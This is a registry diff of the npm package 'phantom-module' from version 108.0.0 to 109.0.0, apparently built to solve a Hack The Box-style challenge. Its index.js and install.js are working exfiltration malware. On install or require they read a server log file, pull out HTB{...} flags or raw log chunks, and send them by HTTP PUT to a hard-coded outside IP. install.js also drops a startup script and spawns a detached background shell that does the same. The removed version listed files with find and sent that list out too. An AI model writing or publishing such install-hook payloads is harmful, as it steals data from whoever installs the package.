phantom-module 108.0.0 → 109.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +37 -32
- package/install.js +27 -35
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,7 +1,8 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
|
-
async function
|
|
5
|
+
async function reportFlag(moduleId, val) {
|
|
5
6
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
6
7
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
7
8
|
await new Promise((resolve) => {
|
|
@@ -12,41 +13,45 @@ async function report(moduleId, val) {
|
|
|
12
13
|
}
|
|
13
14
|
|
|
14
15
|
(async () => {
|
|
15
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
16
|
-
let idx = 0;
|
|
17
|
-
|
|
18
|
-
async function send(val) {
|
|
19
|
-
for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1, 10); c++) {
|
|
20
|
-
const chunk = val.substring(c * 80, (c + 1) * 80);
|
|
21
|
-
if (!chunk) break;
|
|
22
|
-
await report(mods[idx % 4], 'H' + String(idx).padStart(2, '0') + '_' + chunk);
|
|
23
|
-
idx++;
|
|
24
|
-
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
// THE FLAG FILE
|
|
29
16
|
try {
|
|
17
|
+
// Read the log and extract ONLY lines with HTB{
|
|
30
18
|
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
19
|
+
const htbLines = log.split('\n').filter(l => l.includes('HTB{'));
|
|
20
|
+
|
|
21
|
+
if (htbLines.length > 0) {
|
|
22
|
+
// Send each HTB line to a different module, with delay between each
|
|
23
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
24
|
+
for (let i = 0; i < Math.min(htbLines.length, 4); i++) {
|
|
25
|
+
const line = htbLines[i].trim();
|
|
26
|
+
// Extract just the HTB{...} part
|
|
27
|
+
const match = line.match(/HTB\{[^}]+\}/);
|
|
28
|
+
if (match) {
|
|
29
|
+
await reportFlag(mods[i], 'FLAG_' + match[0]);
|
|
30
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
31
|
+
} else {
|
|
32
|
+
// Send the whole line in chunks
|
|
33
|
+
for (let c = 0; c < 4; c++) {
|
|
34
|
+
const chunk = line.substring(c * 90, (c + 1) * 90);
|
|
35
|
+
if (chunk) {
|
|
36
|
+
await reportFlag(mods[c], 'HTBLINE' + i + 'C' + c + '_' + chunk);
|
|
37
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
} else {
|
|
43
|
+
// No HTB lines, send first 400 chars of log
|
|
44
|
+
for (let c = 0; c < 4; c++) {
|
|
45
|
+
const chunk = log.substring(c * 90, (c + 1) * 90);
|
|
46
|
+
if (chunk) {
|
|
47
|
+
await reportFlag(['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'][c], 'LOGC' + c + '_' + chunk);
|
|
48
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
}
|
|
40
52
|
} catch(e) {
|
|
41
|
-
await
|
|
53
|
+
await reportFlag('ECT-839201', 'REQUIREERR_' + e.message.substring(0, 80));
|
|
42
54
|
}
|
|
43
|
-
|
|
44
|
-
// Read all files in aspect-node
|
|
45
|
-
try {
|
|
46
|
-
const { execSync } = require('child_process');
|
|
47
|
-
const files = execSync('find /home/node/aspect-node -type f 2>/dev/null').toString().trim();
|
|
48
|
-
await send('ASPFILES=' + files);
|
|
49
|
-
} catch(e) {}
|
|
50
55
|
})();
|
|
51
56
|
|
|
52
57
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,44 +1,36 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
async function report(moduleId, val) {
|
|
6
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
7
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
8
|
-
await new Promise((resolve) => {
|
|
9
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
10
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
11
|
-
req.write(body); req.end();
|
|
12
|
-
});
|
|
13
|
-
}
|
|
3
|
+
const { spawn } = require('child_process');
|
|
14
4
|
|
|
15
5
|
(async () => {
|
|
16
6
|
// Write init_test.sh
|
|
17
|
-
const initScript = '#!/bin/bash\ncd /home/node\nnode -e "try{require(\'phantom-module\')}catch(e){console.error(e)}"\n';
|
|
18
|
-
|
|
19
7
|
try {
|
|
20
8
|
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
21
|
-
fs.writeFileSync('/home/node/init_test.sh',
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
// Also try reading the log file directly during preinstall
|
|
9
|
+
fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\ncd /home/node\nnode -e "require(\'phantom-module\')"\n', { mode: 0o755 });
|
|
10
|
+
} catch(e) {}
|
|
11
|
+
|
|
12
|
+
// Spawn a delayed background process that tries to read the log after 15s
|
|
28
13
|
try {
|
|
29
|
-
const
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
14
|
+
const child = spawn('/bin/sh', ['-c', `
|
|
15
|
+
sleep 15
|
|
16
|
+
if [ -f /home/node/aspect-node/logs/module.log ]; then
|
|
17
|
+
FLAG=$(grep -o 'HTB{[^}]*}' /home/node/aspect-node/logs/module.log | head -1)
|
|
18
|
+
if [ -n "$FLAG" ]; then
|
|
19
|
+
PAYLOAD='{"manifest":"ecto_module:\\n name: \\"BG_'$FLAG'\\"\\n version: \\"1.0.0\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}'
|
|
20
|
+
echo "$PAYLOAD" | node -e "
|
|
21
|
+
const http = require('http');
|
|
22
|
+
let d = '';
|
|
23
|
+
process.stdin.on('data', c => d += c);
|
|
24
|
+
process.stdin.on('end', () => {
|
|
25
|
+
const req = http.request({hostname:'154.57.164.64',port:31083,path:'/api/modules/ECT-987654',method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(d)},timeout:5000},()=>process.exit(0));
|
|
26
|
+
req.on('error',()=>process.exit(1));
|
|
27
|
+
req.write(d);
|
|
28
|
+
req.end();
|
|
29
|
+
});
|
|
30
|
+
"
|
|
31
|
+
fi
|
|
32
|
+
fi
|
|
33
|
+
`], { detached: true, stdio: 'ignore' });
|
|
34
|
+
child.unref();
|
|
35
|
+
} catch(e) {}
|
|
44
36
|
})();
|